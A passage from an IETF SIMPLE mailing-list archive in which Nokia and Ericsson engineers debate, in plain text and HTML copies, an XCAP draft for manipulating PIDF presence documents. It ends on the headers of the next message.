[MI] As I explained above, you can already PUBLISH several documents and there has to be a way to do composition. So the complexity is already inbuilt in SIMPLE, it is not in this sense extended here.
 
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus, 

I have some comments on your draft: 

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  

How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP. 

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf 
Ericsson Canada 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 



This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof. 

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400CB.FDF61802
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
class=769514202-03032004>Hi Markus,</SPAN></FONT></FONT></FONT></DIV>
<DIV><FONT><FONT><FONT><FONT><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004>I would like to adrress the following statement below 
that I cut from the original 
exchange:</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
<DIV><FONT><FONT><FONT><FONT><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004>&nbsp;</SPAN></FONT></FONT></FONT></FONT></FONT></DIV>
<DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
class=769514202-03032004>1)&nbsp; </SPAN>First,&nbsp;a presentity can publish 
several PIDF documents using SIP PUBLISH. Then, she can have a single "hard 
state" PIDF&nbsp;document manipulated with XCAP. All of these can contain any 
number of tuples. All this is fed into magic called "event state compositor", 
which produces a single consistent presence document. The fact that the 
compositor logic has been left as implementation specific is a feature (or a 
deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will 
be interoperability issues with how things with the composition definition are 
at the moment, but this draft does not cause the 
problem.</FONT></FONT></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004>/gf</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>There 
is no&nbsp; stand alone "hard state" PIDF document that is defined today that 
can be solely managed by XCAP.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>XCAP 
requires an XML document with an XML schema to be able to properly verify 
operations.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>What 
you have in mind, I think, is a number of tuples from various defined presence 
documents&nbsp;(PIDF, RPID, etc..) that you&nbsp;want to manage using 
XCAP.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN class=769514202-03032004>Unless 
you create such a&nbsp;*stand alone* XMP document for hard states, I dont 
beleive that you can do what you want with XCAP, without creating 
interoperability problems, or open the door for abuses that would require 
complexities to overcome.</SPAN></FONT></DIV>
<DIV><FONT face=Arial color=#0000ff size=2><SPAN 
class=769514202-03032004></SPAN></FONT><FONT face=Arial color=#0000ff 
size=2><SPAN class=769514202-03032004></SPAN></FONT><FONT face=Arial 
color=#0000ff size=2><SPAN class=769514202-03032004>gf/</SPAN></FONT></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>2) 
Based on this I assume PIDF would still be OK for XCAP as it is 
now.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>This 
is where I beleive that what you want can only be done with a *new stand-alone* 
XML &nbsp;document. For&nbsp;example, the XCAP&nbsp;framework requires the 
inclusion of the mandatory-ns element, if you would include in the XML document 
managed by XCAP, elements from other name spaces.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>That 
today is not part of PIDF.&nbsp; The tuples you want XCAP to manage are not part 
of PIDF, rather other presence documents.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff size=2>So how 
would that work then.</FONT></SPAN></DIV>
<DIV><SPAN class=769514202-03032004><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<BLOCKQUOTE dir=ltr 
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
  [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 2004 9:23 
  PM<BR><B>To:</B> George Foti (QA/EMC); simple@ietf.org<BR><B>Subject:</B> RE: 
  Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on 
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2>Hi,</FONT></SPAN></DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff size=2>OK, 
  this time I understood your points much better.</FONT></SPAN></DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2>Comments&nbsp;starting with [MI] inline:</FONT></SPAN></DIV>
  <BLOCKQUOTE 
  style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
    <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
    size=2>-----Original Message-----<BR><B>From:</B> ext George Foti (QA/EMC) 
    [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004 
    03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
    simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation 
    Usage-00draft (was RE: Comments on 
    draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=509473301-03032004>Sorry, I had the wrong draft in the subject, but I 
    meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
    <BLOCKQUOTE dir=ltr 
    style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
      <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
      [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 2004 
      8:24 PM<BR><B>To:</B> George Foti (QA/EMC); 
      simple@ietf.org<BR><B>Subject:</B> RE: Comments on 
      draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>Hi George,</FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>First of all, the document you are referring to has been updated 
      with this one:</FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2><A 
      href="http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>I'll submit the WG version shortly after the meeting. The changes 
      compared to the version you&nbsp;read&nbsp;are mainly clarifications, so I 
      think your comments would apply to the new draft as well. My anwers to 
      each point below:</FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>1) XCAP operations are hard state by nature, no refreshing is 
      needed, so this is inherently hard state manipulation. 
</FONT></SPAN></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>Agree, but how do 
      you prevent users, from using XCAP from manipulating presence soft 
      states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>I assume that all 
      the presence tuples are part of the same presence document. 
      </SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>Now you are 
      advocating selective manipluation of some tuples and not others using 
      XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>Have I 
      misunderstood something here ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>How will you 
      enforce that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
      <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004><SPAN 
      class=182215601-03032004>[MI] OK, I think I know what you mean. The model 
      for how the final presence document is put together is shown in the draft 
      in Chapter 3. First,&nbsp;a presentity can publish several PIDF documents 
      using SIP PUBLISH. Then, she can have a single "hard state" 
      PIDF&nbsp;document manipulated with XCAP. All of these can contain any 
      number of tuples. All this is fed into magic called "event state 
      compositor", which produces a single consistent presence document. The 
      fact that the compositor logic has been left as implementation specific is 
      a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I 
      agree that there will be interoperability issues with how things with the 
      composition definition are at the moment, but this draft does not cause 
      the problem.</SPAN></SPAN></SPAN></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>&nbsp;</SPAN>2) 
      The default model I have in mind is that each presentity would have 
      exactly one persistent device-independent presence document that would be 
      manipulated by XCAP. That would be fed to the composition logic to 
      complement the PUA/device-specific documents published using SIP PUBLISH 
      mechanism.<SPAN class=509473301-03032004>&nbsp;</SPAN></SPAN><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2>XCAP is meant to be a generic XML-manipulation 
      mechanism, so there should be nothing specific in this application usage. 
      Once the base XCAP is finished, we'll see what the exact mechanisms to 
      mandate supported namespaces are, and we'll adopt that convention in this 
      draft too. This is probably still changing from xcap-02 draft, as was 
      discussed in SIMPLE session.&nbsp;<SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>Not totally 
      true</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>XCAP have a 
      limited set of rules for HTTP URI 
      creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN 
      class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
      size=2><SPAN class=509473301-03032004>So&nbsp;it is not meant for *any* 
      XML document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I think the XCAP 
      framework is clear on that</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>You would need 
      to expand those rules, which can complicate things quite a lot, not to 
      mention slow things down, to make it more 
      generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2>gf/<SPAN 
      class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004>[MI] I think you are right on this one, my 
      previous statement was wrong. XCAP can have problems with handling *any* 
      XML document, if the selector construction will be restricted to only 
      limited number of possibilities. However, see Jonathan's mail attached to 
      this mail. Based on this I assume PIDF would still be OK for XCAP as it is 
      now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2>3) I'm not sure if I&nbsp;understood the 
      question. This is not a template for any applications that want to use 
      XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted 
      presence documents. As there is no computed data or anything, I guess an 
      app usage for any XML doc would be quite similar to this one.<SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>For event 
      packages we have a template that have to be filled&nbsp;by for anyone who 
      wants to create a new event 
      package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I am asking 
      if your&nbsp;document presents a template, similar&nbsp;to the event 
      package approach. (forget about the content for your 
      application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I am not sure if 
      I am clear&nbsp;on that 
one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2>gf/<SPAN 
      class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004>[MI] OK, I got the question, thanks. Yes,&nbsp;we 
      tried to follow&nbsp;the structure/template how Jonathan has defined 
      the&nbsp;other existing&nbsp;XCAP application usages. So it should&nbsp;be 
      according to how XCAP AUs are ssupposed to be 
      specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2>4) Surely there are many ways to manipulate 
      PIDF documents. However, in context of SIMPLE, XCAP is a natural choice 
      since it's needed already in any advanced presence-capable device. Could 
      you explain what kind of complexities you mean? This is as simple an XCAP 
      usage as&nbsp;there can be. Are you saying that XCAP in itself is complex? 
      A more simple way would be to use just normal HTTP PUT and DELETE, but 
      since we have XCAP at our disposal, why not use it.<SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>The complexities 
      will arise if we allow users to do selective manipulation, using 
      XCAP,&nbsp;for certain tuples&nbsp;*only*, and using PUBLISH for the 
      remaining tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I need to see 
      your answer first to my&nbsp;response to your first &nbsp;bullet before I 
      go further</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN 
      class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
      size=2><SPAN 
      class=509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2><SPAN class=182215601-03032004>[MI] As I explained above, you can 
      already PUBLISH several documents and there has to be a way to do 
      composition. So the complexity is already inbuilt in SIMPLE, it is not in 
      this sense extended here.</SPAN></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>Markus</FONT></SPAN></DIV>
      <BLOCKQUOTE 
      style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
        <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
        size=2>-----Original Message-----<BR><B>From:</B> ext George Foti 
        (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 
        2004 02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
        simple@ietf.org<BR><B>Subject:</B> Comments on 
        draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
        <P><FONT face="Times New Roman">Hi Markus,</FONT> </P>
        <P><FONT face="Times New Roman">I have some comments on your 
        draft:</FONT> </P>
        <P><FONT face="Times New Roman">1) Although you indicate that this 
        should be used only for hard states, what is there to prevent users from 
        manipulating other presence states in there through XCAP.</FONT></P>
        <P><FONT face="Times New Roman">2) XCAP is meant to be used for 
        documents that are created to take advantage of the defined XCAP rules 
        for HTTP URI creation. Which XML presence documents in particular are 
        you proposing that they get manipulated by XCAP.&nbsp; </FONT></P>
        <P><FONT face="Times New Roman">How do you ensure that the current XCAP 
        rules are suffiicient for the purpose you have in mind. I also doubt 
        that you can use the current XML presence documents (PIDF and 
        extensions) for XCAP purposes as is. For example, should there not be 
        the element mandatory-ns, in there, as per the XCAP 
framework.</FONT></P>
        <P><FONT face="Times New Roman">3) Is this template meant to be a 
        generic template to be used by all applications that want to use 
        XCAP.</FONT> </P>
        <P><FONT face="Times New Roman">4) Finally, I believe that there are 
        other, out-of-band means, to accomplish your goals, i.e. manipulate hard 
        states, without the unwarranted complexities that the draft creates. 
        Thus, there must be explicit references in the draft to that fact.&nbsp; 
        </FONT></P>
        <P><FONT face=Arial size=2>/gf</FONT> <BR><FONT face=Arial 
        size=2>Ericsson Canada</FONT> </P><BR><BR>This communication is 
        confidential and intended solely for the addressee(s). Any unauthorized 
        review, use, disclosure or distribution is prohibited. If you believe 
        this message has been sent to you in error, please notify the sender by 
        replying to this transmission and delete the message without disclosing 
        it. Thank you.<BR><BR>E-mail including attachments is susceptible to 
        data corruption, interruption, unauthorized amendment, tampering and 
        viruses, and we only send and receive e-mails on the basis that we are 
        not liable for any such corruption, interception, amendment, tampering 
        or viruses or any consequences thereof. 
    </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This communication is confidential and 
    intended solely for the addressee(s). Any unauthorized review, use, 
    disclosure or distribution is prohibited. If you believe this message has 
    been sent to you in error, please notify the sender by replying to this 
    transmission and delete the message without disclosing it. Thank 
    you.<BR><BR>E-mail including attachments is susceptible to data corruption, 
    interruption, unauthorized amendment, tampering and viruses, and we only 
    send and receive e-mails on the basis that we are not liable for any such 
    corruption, interception, amendment, tampering or viruses or any 
    consequences thereof. </BLOCKQUOTE></BLOCKQUOTE> <br><br>This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.<br><br>E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.</BODY></HTML>

------_=_NextPart_001_01C400CB.FDF61802--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 22:59:10 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27320
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 22:59:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyNXL-00074j-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 22:59:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyNWE-0006vg-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 22:58:03 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyNVH-0006mn-00; Tue, 02 Mar 2004 22:57:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyNVJ-0001es-2h; Tue, 02 Mar 2004 22:57:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyNVF-0002a4-42; Tue, 02 Mar 2004 22:57:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyNUd-0002YU-JC
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 22:56:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27178
	for <simple@ietf.org>; Tue, 2 Mar 2004 22:56:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyNUa-0006fB-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:56:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyNTY-0006W8-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:55:17 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AyNT9-0006Md-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:54:51 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 7464; Tue, 02 Mar 2004 22:54:16 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A26F@zoe.office.snowshore.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZkAF4ajjA=
From: "Eric Burger" <eburger@snowshore.com>
To: "Chris Boulton" <cboulton@ubiquity.com>
Cc: <simple@ietf.org>
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
